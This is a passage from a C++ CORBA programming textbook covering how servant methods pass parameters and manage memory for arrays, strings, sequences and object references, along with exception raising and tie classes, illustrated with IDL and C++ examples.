    fls_out.l_mem = 1234; 
    fls_out.d_mem = 5.67e8; 
 
    // Create and initialize return value. 
    Fls result = { 4321, -9.87e6 }; 
    return result; 
} 
 
      
The fls_in parameter is a reference to const, thus allowing read-only access to the 
structure members. Normally our method would first make use of the in and inout 
values, but to keep the example simple we do not show that here. After we have used the 
input value for fls_inout, we modify its member values. 
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Note that as with simple types, inout fixed-length complex types are passed by 
reference to allow the method to modify them. The fls_out parameter is uninitialized 
upon entering this method, so we initialize its member values so that the server ORB run 
time can send it back to the client. Finally, we declare a local Fls instance and statically 
initialize it, and we return its value by copy via a normal C++ return statement. 

9.7.3 Parameter Passing for Arrays with Fixed-Length Elements 

IDL arrays map directly to C++ arrays. In C++, arrays are always passed by pointer. Here 
is an IDL operation that passes arrays of fixed-length types in all possible directions: 
       
typedef double Darr[3]; 
 
interface Foo { 
    Darr    darr_op( 
                in Darr     darr_in, 
                inout Darr  darr_inout, 
                out Darr    darr_out 
            ); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::ServantBase { 
public: 
    virtual Darr_slice *    darr_op( 
                                const Darr darr_in, 
                                Darr       darr_inout, 
                                Darr_out   darr_out 
                            ) throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
      
An implementation of darr_op in a derived servant class might be written as follows: 
       
Darr_slice * 
Foo_impl:: 
darr_op( 
    const Darr  darr_in, 
    Darr        darr_inout, 
    Darr_out    darr_out 
) throw(CORBA::SystemException) 
{ 
    const int array_length = sizeof(darr_in)/sizeof(* darr_in); 
    int i; 
    // Use incoming values of darr_in and darr_inout (not shown). 
    // Modify darr_inout. 
    for (i = 0; i < array_length; i++) { 
        darr_inout[i] *= i; 
    } 
 
    // Initialize darr_out. 
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    for (i = 0; i < array_length; i++) { 
        darr_out[i] = i * 3.14; 
    } 
 
    // Create and initialize return value. 
    Darr_slice * result = Darr_alloc(); 
    for (i = 0; i < array_length; i++) { 
        result[i] = i * i; 
    } 
    return result; 
} 
 
      
The memory management responsibilities of the servant method are as follows. 
 
The in parameter darr_in is passed as a const Darr, which is effectively the same 
as a pointer to const CORBA::Double. We are thus allowed to access the values 
stored in the array but are not allowed to change them. The array is allocated by the caller, 
and our servant method has no memory management responsibilities for it. 
 
Unfortunately, there are some widely used C++ compilers that for years have been 
incapable of properly handling the use of const for parameters of multidimensional 
array types. In practice, this may mean that your servant method may need to declare in 
multidimensional arrays without using the const keyword. Consult your ORB's 
documentation to see whether it mentions anything about this problem. 
 
The inout parameter darr_inout is passed as a Darr, which is effectively the same 
as a pointer to CORBA::Double, allowing us to access and modify the values in the 
array. As with the in parameter, our servant method has no memory management 
responsibilities for the array. The caller allocates it and passes it in, and we just read and 
write its values. 
 
The out parameter darr_out is passed as type Darr_out. This type is a typedef for 
Darr and is used only for consistency with other out types. An out parameter is 
uninitialized when passed to a servant method because it passes from server to client. Our 
example code therefore sets all the values in the array so that the server ORB run time 
can send it back to the client. Note, though, that just as with the in and inout arrays of 
fixed-length elements, the caller allocates the array and our servant method has no 
memory management responsibilities for it. 
 
Because C++ does not allow arrays to be returned by value, the return type of our servant 
method is a Darr_slice *. As explained in Section 7.14.5, an array slice is a 
pointer to the array element type; this means that pointer syntax (dereferencing) is not 
needed in order to index it as an array, thus making it easier to handle. Our servant 
method dynamically allocates a Darr instance using the Darr_alloc function 
generated by the IDL compiler, fills in the values, and returns it. The caller of the servant 
method, which may be the client in the same process for the collocated case or will be the 
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ORB itself if the client is remote, is responsible for eventually calling Darr_free on 
the return value in order to deallocate it. 
 
Allocating the return value using a means other than the generated Darr_alloc 
function, such as by calling new, is non-portable and may result in application run-time 
errors when the array is freed. 
 
Return types that are arrays of fixed-length elements represent the only case in the C++ 
mapping in which a fixed-length type is dynamically allocated. Again, this is because 
C++ does not allow arrays to be returned by value. 

9.7.4 Parameter Passing for Strings and Wide Strings 

Because no standard C++ string class existed when the OMG IDL C++ language 
mapping was defined and because defining another one would have merely added yet 
another non-standard string to the mix, IDL strings map to char * in C++. Here is an 
IDL operation that passes string parameters in all possible directions: 
       
interface Foo { 
    string  string_op( 
                in string       s_in, 
                inout string    s_inout, 
                out string      s_out 
            ); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::ServantBase { 
public: 
    virtual char *  string_op( 
                        const char *      s_in, 
                        char * &          s_inout, 
                        CORBA::String_out s_out 
                    ) throw(CORBA::SystemException) =  0; 
    // ... 
}; 
 
      
An implementation of string_oyp in a derived servant class might be written as 
follows: 
       
char * 
Foo_impl:: 
string_op( 
    const char *      s_in, 
    char * &          s_inout, 
    CORBA::String_out s_out 
) throw(CORBA::SystemException) 
{ 
    // Use incoming values of s_in and s_inout (not shown). 
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    // Modify s_inout. 
    const char * inout_out_value = "outgoing inout value"; 
    if (strlen(s_inout) < strlen(inout_out_value)) { 
        CORBA::string_free(s_inout); 
        s_inout = CORBA::string_dup(inout_out_value); 
    } else { 
        strcpy(s_inout, inout_out_value); 
    } 
 
    // Initialize s_out. 
    s_out = CORBA::string_dup("output string"); 
 
    // Create return value. 
    return CORBA::string_dup("return string"); 
} 
 
      
The memory management responsibilities of the servant method are as follows. 
 
The in parameter s_in is passed as a const char *, so our method cannot change 
the contents of the string. We use the contents of the in string in a read-only fashion and 
have no memory management responsibilities for it. For reasons of efficiency, an ORB 
might avoid copying the in string when unmarshaling it and allow you to directly access 
the characters from the marshaling buffer, but this does not affect how you write code to 
use the in string. 
 
The inout parameter s_inout is passed as a char * &, a reference to pointer to 
char. You can assume that the string has been dynamically allocated with 
string_alloc or string_dup. You access the string's initial value in the same 
manner as you access the contents of the in string. To set a value to return to the client, 
you can either overwrite the string's contents in place or deallocate the string using 
string_free and allocate a new one. You can use the first approach, overwriting the 
existing contents, only if the input string is long enough to hold the new contents. The 
second approach, freeing the original string and allocating a new one, works because the 
char * pointer is passed by reference, allowing you to set the pointer to point to the 
newly allocated string. Our example shows both approaches, using strlen to check 
whether the incoming string is long enough to hold the outgoing string. 
 
Clients must always allocate inout strings dynamically, using string_alloc or 
string_dup. For a remote object, the server ORB unmarshals the incoming inout 
string into memory that has been dynamically allocated in the same way and passes a 
pointer to it to the servant method. After the method returns, the ORB marshals the 
outgoing string value and then uses string_free to deallocate the memory. This 
technique works correctly whether the method overwrites the existing value with a new 
value or deallocates the incoming value and allocates a new string to send back to the 
client. 
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The out parameter s_out is of a class type CORBA::String_out, which for all 
intents and purposes behaves exactly like a char * &. Because out parameters flow 
from server to client, our servant method must dynamically allocate the out string using 
string_alloc or string_dup and assign it to the String_out parameter. 
 
For a collocated client, the out is usually passed back without any interim marshaling or 
unmarshaling steps. If the client is remote, the server ORB marshals the out string value 
after the servant method completes; then it deal-locates the string's memory using 
string_free. 
 
The return string is handled exactly as the out string is. We dynamically allocate it using 
string_alloc or string_dup and return it to the caller. 
 
Because the C++ mapping prohibits passing null pointers for string parameters, the 
servant method does not have to check for null char * values passed to it, and it is not 
allowed to return null pointers as out parameters or return values. 
 
The rules for handling wide strings in servant methods are exactly the same as for strings 
except that parameter types are CORBA::WChar * instead of char *, and 
CORBA::WString_out instead of CORBA:: String_out. Also, wide string 
allocation and deallocation functions wstring_alloc, wstring_dup, and 
wstring_free must be used to create and destroy heap-allocated wide string 
parameters. 

9.7.5 Parameter Passing for Variable-Length Complex Types 
and Type any 

Recall that variable-length complex types include sequences as well as structures and 
unions that (recursively) contain one or more variable-length members. Here is an IDL 
operation that passes a variable-length structure in all possible directions: 
       
struct Vls {           // Variable-length struct 
    long    l_mem; 
    string  s_mem; 
}; 
 
interface Foo { 
    Vls vls_op( 
            in Vls      vls_in, 
            inout Vls   vls_inout, 
            out Vls     vls_out 
        ); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::ServantBase { 
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public: 
    virtual Vls *   vls_op( 
                        const Vls & vls_in, 
                        Vls &       vls_inout, 
                        Vls_out     vls_out 
                    ) throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
      
An implementation of vls_op in a derived servant class might be written as follows: 
       
Vls * 
Foo_impl:: 
vls_op( 
    const Vls & vls_in, 
    Vls &       vls_inout, 
    Vls_out         vls_out 
) throw(CORBA::SystemException) 
{ 
 
    // Use incoming values of vls_in and vls_inout (not shown). 
    // Modify vls_inout. 
    vls_inout.l_mem *= 2; 
    vls_inout.s_mem = vls_in.s_mem; 
 
    // Initialize vls_out. 
    vls_out = new Vls; 
    vls_out->l_mem = 1234; 
    vls_out->s_mem = CORBA::string_dup("output string"); 
 
    // Create and initialize return value. 
    Vls * result = new Vls; 
    result->l_mem = vls_in.l_mem; 
    result->s_mem = CORBA::string_dup("return string"); 
 
    return result; 
} 
 
      
The parameter passing and memory management rules for the vls_iyn parameter and 
the vls_inout parameter are exactly the same as for fixed-length complex types. The 
in parameter is passed by reference to const, allowing our method to access but not 
modify the structure members, whereas the inout parameter is passed by reference to 
allow both access and modification. 
 
The rules for variable-length out and return parameters, however, differ considerably 
from those for their fixed-length counterparts. Specifically, you dynamically allocate 
variable-length out and return values using new and you return them by pointer to the 
client, which is then responsible for freeing them using delete. In our example, the 
vls_out parameter is of type Vls_out, which for all intents and purposes is 
equivalent to a Vls * &. Our method initializes vls_out with a pointer obtained by 
calling new and then initializes each member of the allocated structure instance so that 
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the server ORB run time can send it back to the client. We allocate and initialize the 
return value in the same way as the out parameter. 
 
Note our use of string_dup to assign string values to the Vls:: s_mem string 
member. Remember from Section 6.13.2 that structure string members behave 
similarly to String_var: any char * assigned to any string member is assumed to 
be dynamically allocated and is adopted by the string member, whereas assignment of a 
const char * forces a copy. 

Special Considerations for Sequences 

Sequences are variable-length types, so they follow the memory management rules 
described here. However, because they supply an overloaded subscript operator for 
element access (as described in Section 6.14), and because return sequences are dealt 
with by pointer, developers often make a common indexing mistake within their servant 
methods. Consider the following IDL operation, which has a sequence return type: 
        
typedef sequence<long> LongSeq; 
 
interface Foo { 
    LongSeq seq_op(); 
}; 
 
       
An implementation of seq_op in a derived class might erroneously be written as 
follows: 
        
LongSeq * 
Foo_impl:: 
seq_op() throw(CORBA::SystemException) 
{ 
    // Create and initialize the return parameter. 
    LongSeq * result = new LongSeq; 
    result->length(2); 
    result[0] = 1234;    // wrong 
    result[1] = 5678;    // wrong 
    return result; 
} 
 
       
The problem with this implementation is that on the lines marked with the comment 
"wrong," we are applying the subscript operator to the sequence pointer and not to the 
sequence itself. The code compiles just fine, so you get no compile-time errors or 
warnings if you make this mistake. The type resulting from the application of the 
subscript operator to the pointer to sequence yields a LongSeq for the left-hand side of 
the assignment. In other words, by applying the subscript operator to a pointer, we are 
accessing an array of sequences rather than accessing an element of a sequence. Because 
the left-hand side of the assignment is a sequence, the C++ compiler implicitly converts 
the right-hand side of the assignment to a sequence using the constructor that allows you 
to set the maximum size upon creation. The result is that an empty sequence with a buffer 
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size of 1234 is assigned to the return value, and another empty sequence with a buffer 
size of 5678 is assigned to unallocated memory after the return value. If you are lucky, 
your code will experience a memory access violation when you first test it, but in many 
cases this mistake will not cause a run-time error. Unless you regularly use memory leak 
detection tools, which will catch this problem, you will be left wondering why the ORB 
appears to be changing your two-element return sequence into an empty sequence by the 
time it is returned to your client application. 
 
To index into the sequence, you must first dereference the pointer to the sequence so that 
the subscript operator applies to the sequence and not to the pointer: 
        
LongSeq * 
Foo_impl:: 
seq_op() throw(CORBA::SystemException) 
{ 
    // Create and initialize the return parameter. 
    LongSeq * result = new LongSeq; 
    result->length(2); 
    (*result)[0] = 1234;    // correct 
    (*result)[1] = 5678;    // correct 
    return result; 
} 
 
       
Our code is now correct. The values are assigned to the sequence itself instead of being 
converted to empty sequences and assigned to unallocated memory. 
Another way to avoid this problem is to store the return sequence in a LongSeq_var 
before initializing it: 
        
LongSeq * 
Foo_impl:: 
seq_op() throw(CORBA::SystemException) 
{ 
    // Create and initialize the return parameter. 
    LongSeq_var result = new LongSeq; 
    result->length(2); 
    result[0] = 1234;      // correct 
    result[1] = 5678;      // correct 
    // To return, take the sequence away from the _var. 
    return result._retn(); 
} 
 
       
The LongSeq_var type supplies its own overloaded subscript operator, which forwards 
the indexing operation to its underlying sequence, so this version of our code is also 
correct. However, for it to work properly, the dynamically allocated return sequence must 
be taken away from the LongSeq_var before it goes out of scope; otherwise, the 
LongSeq_var will destroy the sequence and we will end up returning a dangling 
sequence pointer. Our example shows how to do this: you simply invoke the _retn 
function on the LongSeq_var. This instructs it to yield ownership of the sequence 
pointer. Note that this approach can be used with any dynamically allocated return type 
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and not just sequences, and it can be very useful for preventing memory leaks when 
exceptions are thrown (see Section 9.8). 
 
Finally, note that even though out sequences are also dynamically allocated, this pointer 
indexing problem does not occur because the LongSeq_out type, like the 
LongSeq_var type, supplies an overloaded subscript operator. However, if your ORB 
does not yet implement the use of _out types in method signatures, you can also make 
the pointer indexing mistake with out sequences. 

9.7.6 Parameter Passing for Arrays with Variable-Length 
Elements 

Memory management responsibilities for arrays of variable-length elements are similar to 
those for other variable-length types. Here is an IDL operation that passes arrays of a 
variable-length element type in all possible directions: 
       
struct Vls {        // Variable-length struct 
    long    number; 
    string  name; 
}; 
 
typedef Vls Varr[3];    // Variable-length array 
 
interface Foo { 
    Varr    varr_op( 
                in Varr     varr_in, 
                inout Varr  varr_inout, 
                out Varr    varr_out 
            ); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::ServantBase { 
public: 
    virtual Varr_slice *    varr_op( 
                                const Varr   varr_in, 
                                Varr_slice * varr_inout, 
                                Varr_out     varr_out 
                            ) throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
      
An implementation of varr_op in a derived servant class might be written as follows: 
       
Varr_slice * 
Foo_impl:: 
varr_op( 
    const Varr   varr_in, 
    Varr_slice * varr_inout, 
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    Varr_out     varr_out 
) throw(CORBA::SystemException) 
{ 
    const int array_length = sizeof(varr_in)/sizeof(*varr_in); 
    int i; 
 
    // Use incoming values of varr_in and varr_inout (not shown). 
 
    // Modify varr_inout. 
    varr_inout[0] = varr_in[0]; 
 
    // Create and initialize varr_out. 
    varr_out = Varr_alloc(); 
    const char * brothers[] = { "John", "Jim", "Rich" }; 
    for (i = 0; i < array_length; i++) { 
        varr_out[i].number = i + 1; 
        varr_out[i].name = brothers[i]; 
    } 
 
    // Create and initialize return value. 
    Varr_slice * result = Varr_alloc(); 
    const char * sisters[] = { "Teresa", "Lucy", "Michelle" }; 
    for (i = 0; i < array_length; i++) { 
        result[i].number = i + 1; 
        result[i].name = sisters[i]; 
    } 
    return result; 
} 
 
      
The memory management rules for the servant method are as follows. 
 
The in parameter varr_in is handled just as with arrays of fixed-length elements. The 
client allocates and initializes the array, and our method has read-only access to its 
elements. We thus have no memory management responsibilities for variable-length 
array in parameters. 
 
Similarly, the inout parameter varr_inout is allocated and initialized by the client, 
but in this case we are allowed to change its values. The parameter is passed as a 
Varr_slice *, and that allows us to index the array in a natural manner. Our method 
has no memory management responsibilities for the inout array. 
 
The out parameter varr_out is passed as a Varr_out, which for all intents and 
purposes is equivalent to a Varr_slice * &, a reference to a pointer to a 
Varr_slice. We use the Varr_alloc function to dynamically allocate a Varr 
instance, and then we fill in its values. The caller of the servant method—either a 
collocated client or the local ORB if the client is remote—is responsible for eventually 
calling Varr_free on the out array. Using new or any allocation function other than 
Varr_alloc is non-portable and could result in application run-time errors when the 
array is freed. 
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For each structure element in the out array, our example assigns a const char * to 
the name member. Recall that assigning a const char * to any string member of a 
structure results in the member copying the string. 
 
We allocate and initialize the return value exactly like the out parameter, and the caller 
is also responsible for making sure that the returned pointer is eventually passed to 
Varr_free. 

9.7.7 Parameter Passing for Object References 

Object references are variable-length types. Because they are like pointers, their 
parameter passing rules are similar to those for strings. Here is an IDL operation that 
passes object references in all possible directions: 
       
interface Foo { 
    Foo     ref_op( 
                in Foo      ref_in, 
                inout Foo   ref_inout, 
                out Foo     ref_out 
            ); 
    void    say_hello(); 
}; 
 
      
The corresponding method in the skeleton class has the following signature: 
       
class POA_Foo : public virtual PortableServer::ServantBase { 
public: 
    virtual Foo_ptr ref_op( 
                        Foo_ptr       ref_in, 
                        Foo_ptr & ref_inout, 
                        Foo_out       ref_out 
                    ) throw(CORBA::SystemException) = 0; 
    virtual void    say_hello() 
                      throw(CORBA::SystemException) = 0; 
    // ... 
}; 
 
      
An implementation of ref_op in a derived servant class might be written as follows: 
       
void 
Foo_impl:: 
say_hello() throw(CORBA::SystemException) 
{ 
    cout < < "Hello!" < < endl; 
} 
Foo_ptr 
Foo_impl:: 
ref_op( 
    Foo_ptr       ref_in, 
    Foo_ptr & ref_inout, 
    Foo_out       ref_out 
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) throw(CORBA::SystemException) 
{ 
    // Use ref_in. 
    if (!CORBA::is_nil(ref_in)) { 
        ref_in->say_hello(); 
    } 
    // Use ref_inout. 
    if (!CORBA::is_nil(ref_inout)) { 
        ref_inout->say_hello(); 
    } 
    // Modify ref_inout. 
    CORBA::release(ref_inout); 
    ref_inout = _this(); 
    // Initialize ref_out. 
    Foo_impl * new_servant = new Foo_impl; 
    ref_out = new_servant->_this(); 
    // Create return value. 
    return Foo::_nil(); 
} 
 
      
The memory management rules for the servant method are as follows. 
 
The in parameter ref_in is passed by value. Note that it is the object reference, and 
not the object that the reference refers to, that is passed to the servant method. If it is not 
nil, ref_in can be used to invoke operations on the referred-to object. We merely use 
the object reference and have no memory management responsibilities for it. 
 
The inout parameter ref_inout is passed by reference, allowing us to access its 
incoming value and set it to a new value for the server ORB run time to send back to the 
client. We must release the incoming object reference before setting it to a new value. In 
our example, we set ref_inout to the object reference of the target object, which is 
obtained by invoking the _this function. The return value of _this must be released 
by the caller, so by assigning it to ref_inout we are correctly passing that 
responsibility to our caller. 
 
The out parameter is passed as a Foo_out, which for all intents and purposes behaves 
exactly like a Foo_ptr &. It is uninitialized when passed in, and we must initialize it 
with a Foo object reference, either nil or non-nil. The object reference we assign to the 
ref_out parameter becomes the responsibility of the caller. 
 
In our example, we are initializing the out parameter by creating a new Foo_impl 
servant and using its _this function to implicitly create a new CORBA object. We then 
assign the return value of _this to ref_out, passing to our caller the responsibility for 
releasing it. Note that the servant is not created on the stack; doing so would mean that it 
would be destroyed at the end of the servant method, leaving a dangling pointer 
registered with the POA. Instead, we allocate the servant on the heap. At some later point 
we must delete it. We show examples of servant deletion in Section 11.9 when we 
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discuss details of POA object deactivation and servant etherealization (the opposite of 
incarnation). 
 
We handle the return object reference exactly as we handle the out object reference. The 
caller is responsible for releasing the returned object reference. Our example invokes 
Foo::_nil() to return a nil object reference. 
 
You may be surprised to see that in references are passed by value as Foo_ptr instead 
of by reference as const Foo_ptr &. In other words, should the referred-to object be 
considered const, or should the object reference parameter itself be const? 
 
IDL provides no way to declare that an operation does not modify the state of the object. 
The reason is simply that IDL is a declarative language that is independent of any 
particular programming language. Thus, object state is not specified in IDL, so it may 
vary widely among different implementations of an IDL interface. Furthermore, the C++ 
concept of const member functions is not a feature common to many programming 
languages. In short, declaring a parameter of an operation as in is not the equivalent of 
declaring it as const. 
 
Because in object references are passed by value, however, they are conceptually 
constant. If the caller is collocated with the servant, the pass-by-value approach means 
that any changes made to the in object reference itself (but not the object it refers to) by 
the servant method are never seen by the caller; the servant method changes only its own 
local copy of the object reference. If the caller is remote, it never sees any changes made 
to the reference by the servant method because in parameters are sent only from client to 
server and not back. The pass-by-value approach thus contributes to location 
transparency for parameter passing. 
 
The use of const for other types of in parameters, such as sequences, structures, unions, 
and strings, also helps preserve location transparency for collocated clients and objects. If 
a client invokes an operation on a collocated object, most ORBs avoid marshaling the 
parameters and instead pass them directly as C++ types. If in parameters are not passed 
as const, any changes made to them by a collocated servant will be visible to the client. 
Passing them as reference to const allows them to be passed efficiently in the 
collocated case without violating the semantics of the in parameter direction. 
 
Finally, note that our example invokes the say_hello operation using both the in and 
the inout object references. This implies that our server application is also a client of 
other Foo objects or perhaps even a client of the same Foo object incarnated by this 
servant. This situation is very common in practice—few CORBA applications are pure 
clients or pure servers, but instead tend to be clients of some CORBA objects and servers 
for others. The invocations made from within our earlier servant method are identical in 
nature to Foo object invocations made by pure clients. In other words, the fact that we 
are also a server application does not change the nature of these invocations. 
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9.8 Raising Exceptions 

Servant methods raise IDL exceptions to indicate unexpected errors. For example, the 
set_nominal operation of the Thermostat interface from our example CCS module 
can raise the BadTemp exception: 
      
#pragma prefix "acme.com" 
 
module CCS { 
 
    typedef short TempType; 
 
    interface Thermometer {/*...*/}; 
 
    interface Thermostat : Thermometer { 
        struct BtData { 
 
            TempType    requested; 
            TempType    min_permitted; 
            TempType    max_permitted; 
            string      error_msg; 
        }; 
        exception BadTemp { BtData details; }; 
        TempType    get_nominal(); 
        TempType    set_nominal(in TempType new_temp) 
                        raises(BadTemp); 
    }; 
}; 
 
     
The corresponding method in the skeleton class has the following signature: 
      
namespace POA_CCS { 
    class Thermostat : public virtual Thermometer { 
    public: 
        // ... 
        virtual CCS::TempType set_nominal(CCS::TempType new_temp) 
           throw(CORBA::SystemException, CCS::BadTemp) = 0; 
        // ... 
    }; 
} 
 
     
The exception specification for set_nominal allows the user-defined 
CCS::BadTemp exception to be thrown, and, as with all servant methods, 
set_nominal may also throw CORBA system exceptions. 

9.8.1 Exception Throwing Details 

An implementation of set_nominal in a derived servant class might be written as 
follows: 
       
CCS::TempType 
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Thermostat_impl:: 
set_nominal( 
    CCS::TempType new_temp 
) throw(CORBA::SystemException, CCS::BadTemp) 
{ 
    const CCS::TempType MIN_TEMP = 50, MAX_TEMP = 90; 
    if (new_temp < MIN_TEMP || new_temp > MAX_TEMP) { 
        BtData bt; 
        bt.requested = new_temp; 
        bt.min_permitted = MIN_TEMP; 
        bt.max_permitted = MAX_TEMP; 
        bt.error_msg = 
          CORBA::string_dup("temperature out of range"); 
         
        throw CCS::BadTemp(bt); 
    } 
    // ... 
} 
 
      
Our example first checks the requested temperature setting to ensure that it is within the 
permitted range. If the temperature is outside the permitted range, we create an instance 
of the BtData structure and initialize it with information about the error. We then use 
the structure instance to construct and throw an instance of CCS::BadTemp to inform 
the client of the error. 
 
The C++ mapping allows you to throw exceptions by value and catch them by reference. 
Each exception class supplies a constructor that takes an initialization parameter for each 
exception member. This allows you to create and throw exception instances all in the 
same statement, as shown in the preceding example. The alternative of allocating 
exceptions on the heap and throwing them by pointer would merely add memory 
management responsibilities for clients, requiring them to remember to delete thrown 
exceptions. 
 
Keep in mind that a servant method is allowed to throw only the exceptions explicitly 
listed in its exception specification. This includes all CORBA system exceptions because 
of the appearance of the CORBA::SystemException base class in all servant 
exception specifications. The C++ run time will prevent a servant method from throwing 
any exception not listed in its exception specification even if that exception is thrown by 
a function called directly or indirectly by the servant method. 
 
Unfortunately, ORB implementations cannot count on C++ exception specifications to 
prevent servants from throwing illegal exceptions. Some C++ compilers that do not fully 
support standard C++ supply no error or warning messages if a servant method has a less 
restrictive exception specification than the skeleton method it is overriding. For example, 
with some C++ compilers we can rewrite our Thermostat_impl::set_nominal 
signature without any exception specification, and the C++ compiler will not complain 
(assuming the method is also declared in the same way in the class definition): 
       
CCS::TempType 
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Thermostat_impl:: 
set_nominal( 
    CCS::TempType new_temp 
) // oops, missing exception specification! 
{ 
    // same code as before 
} 
 
      
Moreover, some widely used C++ compilers do not properly implement or support 
exception specifications, meaning that IDL compilers are forced to elide them when 
generating code for certain platforms. 
 
To ensure that only allowed exceptions are thrown from a servant method, the ORB and 
the skeleton enclose all servant method invocations in a catch block that traps all 
CORBA and non-CORBA exceptions. Any exceptions that should not be thrown by the 
servant method, including CORBA user-defined exceptions and general C++ exceptions, 
are caught by the ORB and turned into the CORBA::UNKNOWN system exception instead. 
This catch block acts as a barrier that prevents exception-related application errors from 
entering the ORB run time, where they are unexpected and could cause the entire 
application to abort. The catch block also prevents the client application from receiving 
user-defined exceptions that were not declared in the operation's raises clause. 

9.8.2 Throwing CORBA System Exceptions 

We have repeatedly pointed out that all servant methods are allowed to throw CORBA 
system exceptions. The main reason is to allow the ORB to raise exceptions for any error 
conditions it encounters when performing its location, activation, and request and 
response delivery. However, this opens the door for servant method implementations to 
also throw CORBA system exceptions directly. 
 
Unfortunately, throwing CORBA system exceptions from within servant methods can 
lead to systems that are difficult to debug. For example, a servant method might want to 
throw the CORBA::BAD_PARAM exception if one of its input parameters has an 
unexpected value or to throw the CORBA::NO_MEMORY exception to indicate that it 
could not successfully allocate a variable-length out parameter. However, the ORB also 
uses these exceptions to indicate errors that it encounters in attempting to deliver requests 
or replies. When a client catches a CORBA system exception under these circumstances, 
it does not know whether it was caused by a problem with the ORB or a problem with the 
servant implementation. 
 
To avoid confusion between ORB problems and servant problems, you should avoid 
directly throwing most CORBA system exceptions. Instead, you should throw user-
defined exceptions to indicate application-level errors. This implies that you should 
consider all potential errors when designing your IDL interfaces so that you declare the 
appropriate exceptions within each operation's raises clause. Of course, not all error 
conditions fit clearly into one case or the other. For example, you should probably throw 
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the CORBA::NO_MEMORY system exception if you experience a memory allocation 
failure, simply because the meaning of that exception is unambiguous. 
 
One CORBA system exception that applications are expected to throw is the 
CORBA::OBJECT_NOT_EXIST exception. As you will see in Chapter 11, server 
applications, and not the object adapter, often determine whether or not a given CORBA 
object exists. If the object adapter dispatches a request to an object that no longer exists, 
the application is expected to signify this by raising the OBJECT_NOT_EXIST 
exception. 

9.8.3 Managing Memory with Exceptions 

When a servant method throws an exception, the ORB releases any memory it allocated 
for any in and inout parameters, ignores all out and return values, and marshals the 
exception for return to the client. The servant method must therefore be careful to 
deallocate any memory it has already allocated for out parameters or return values; 
otherwise, that memory will be leaked. 
 
Consider the following Foo::op operation, which takes an in object reference of type 
SomeObject and also has both an out and return variable-length structure: 
       
exception SomeException {}; 
 
interface SomeObject { 
    string string_op() raises(SomeException); 
}; 
 
struct Vls { 
    long   l_mem; 
    string s_mem; 
}; 
 
interface Foo { 
    Vls op(in SomeObject obj, out Vls vls_out) 
            raises(SomeException); 
}; 
 
      
Our servant method uses the SomeObject object reference to invoke string_op so 
that it can use its return value to initialize the string members of the out and return 
structures. One obvious way to implement Foo::op so that it doesn't leak if an 
exception is thrown by string_op is to enclose all invocations of that operation in a 
try block: 
       
Vls * 
Foo_impl:: 
op(SomeObject_ptr obj, Vls_out vls_out) 
throw(CORBA::SystemException, SomeException) 
{ 
    vls_out = 0; 
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    Vls * result = 0; 
 
    try { 
        // Create and initialize vls_out. 
        vls_out = new Vls; 
        vls_out->l_mem = 1234; 
        vls_out->s_mem = obj->string_op(); 
 
        // Create and initialize return value. 
        result = new Vls; 
        result->l_mem = 5678; 
        result->s_mem = obj->string_op(); 
    } 
    catch (const CORBA::Exception &) { 
        delete vls_out.ptr(); 
        delete result; 
        throw;           // rethrow exception 
    } 
    return result; 
} 
 
      
First, we set the vls_out parameter and the result pointer to null to ensure that we 
can later delete them safely. (Later, either they will still be null or we will have assigned 
pointers to dynamically allocated instances to them.) We then enter the try block and 
create the out instance, using the return value of string_op to initialize the string 
member of the out structure. Similarly, we then create and initialize our return value. 
Our catch block is set up to catch CORBA::Exception, the base class for all 
CORBA user-defined and system exceptions. If string_op throws either an instance 
of the user-defined SomeException type or any CORBA system exception, the code 
in our catch block will delete both the out instance and the return value and rethrow 
the caught exception. 
 
Wrapping all calls in try blocks certainly works, but it can be tedious. An easier way to 
deal with the problem is to use Stroustrup's "resource acquisition is initialization" idiom 
[39] and use C++ objects to clean up if an exception occurs. The following example 
shows how our dynamically allocated structures (the acquired resources) can be managed 
by creating Vls_var instances to look after them (the initialization): 
       
Vls * 
Foo_impl:: 
op(SomeObject_ptr obj, Vls_out vls_out) 
throw(CORBA::SystemException, SomeException) 
{ 
    // Create and initialize temporary out parameter. 
    Vls_var temp_out = new Vls; 
    temp_out->l_mem = 1234; 
    temp_out->s_mem = obj->string_op(); 
 
    // Create and initialize return value. 
    Vls_var result = new Vls; 
    result->l_mem = 5678; 



IT-SC book: Advanced CORBA® Programming with C++ 

 341

    result->s_mem = obj->string_op(); 
 
    // No exceptions occured -- return. 
    vls_out = temp_out._retn(); 
    return result._retn(); 
} 
 
      
Notice the lack of any try or catch blocks in the revised example. As described in 
Section 9.7.5, you can use _var types within a servant method to manage 
dynamically allocated instances until they are ready to return to the caller. In this 
modified example, we first use a Vls_var to temporarily store what will become the 
out parameter, initializing it as before. We then do the same for the return value. If the 
second call to string_op (used to initialize the string in the result structure) were to 
throw an exception, the C++ run time would invoke the destructor for the temp_out 
instance, which would free the dynamically allocated out parameter. If no exception 
occurs, we use the _retn function on the temp_out variable to take ownership of the 
out value and assign it to the vls_out parameter, and we then use _retn on the 
result variable to set up the return value. 
 
Overall, it can be difficult to write error-free code that properly deals with exceptions. 
Using _var types to hold pointers to dynamically allocated instances that can later be 
taken away using the _retn function helps you ensure that your servant methods do not 
leak the resources they acquire. 

9.9 Tie Classes 

In general, skeletons are an implementation of the Adapter pattern documented in [4]. 
The skeleton classes we describe in Section 9.3 rely on inheritance to adapt servant 
class interfaces to the request-dispatching interfaces expected by the ORB and the POA. 
Using inheritance in this fashion is a realization of the class form of the Adapter pattern. 
 
In this chapter we have used only skeletons that realize the class form of the Adapter 
pattern. For completeness, we must also point out that servant classes that provide the 
other form of the Adapter pattern, called the object form, can also be generated by IDL 
compilers. Such automatically generated servant classes are called tie classes. In this 
section we briefly explain tie classes, describe how you can use them to incarnate 
CORBA objects, and then evaluate their usefulness. 

9.9.1 Details of Tie Classes 

A tie class is a C++ class template that you can instantiate to create a concrete servant. A 
tie-based servant implements all methods by delegating them to another C++ object. The 
tie class for our MyObject interface, originally defined in Section 9.3, the IDL 
compiler generates the following class definition. 
       
template<class T> 
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class POA_MyObject_tie : public POA_MyObject { 
public: 
    // Constructors and destructor. 
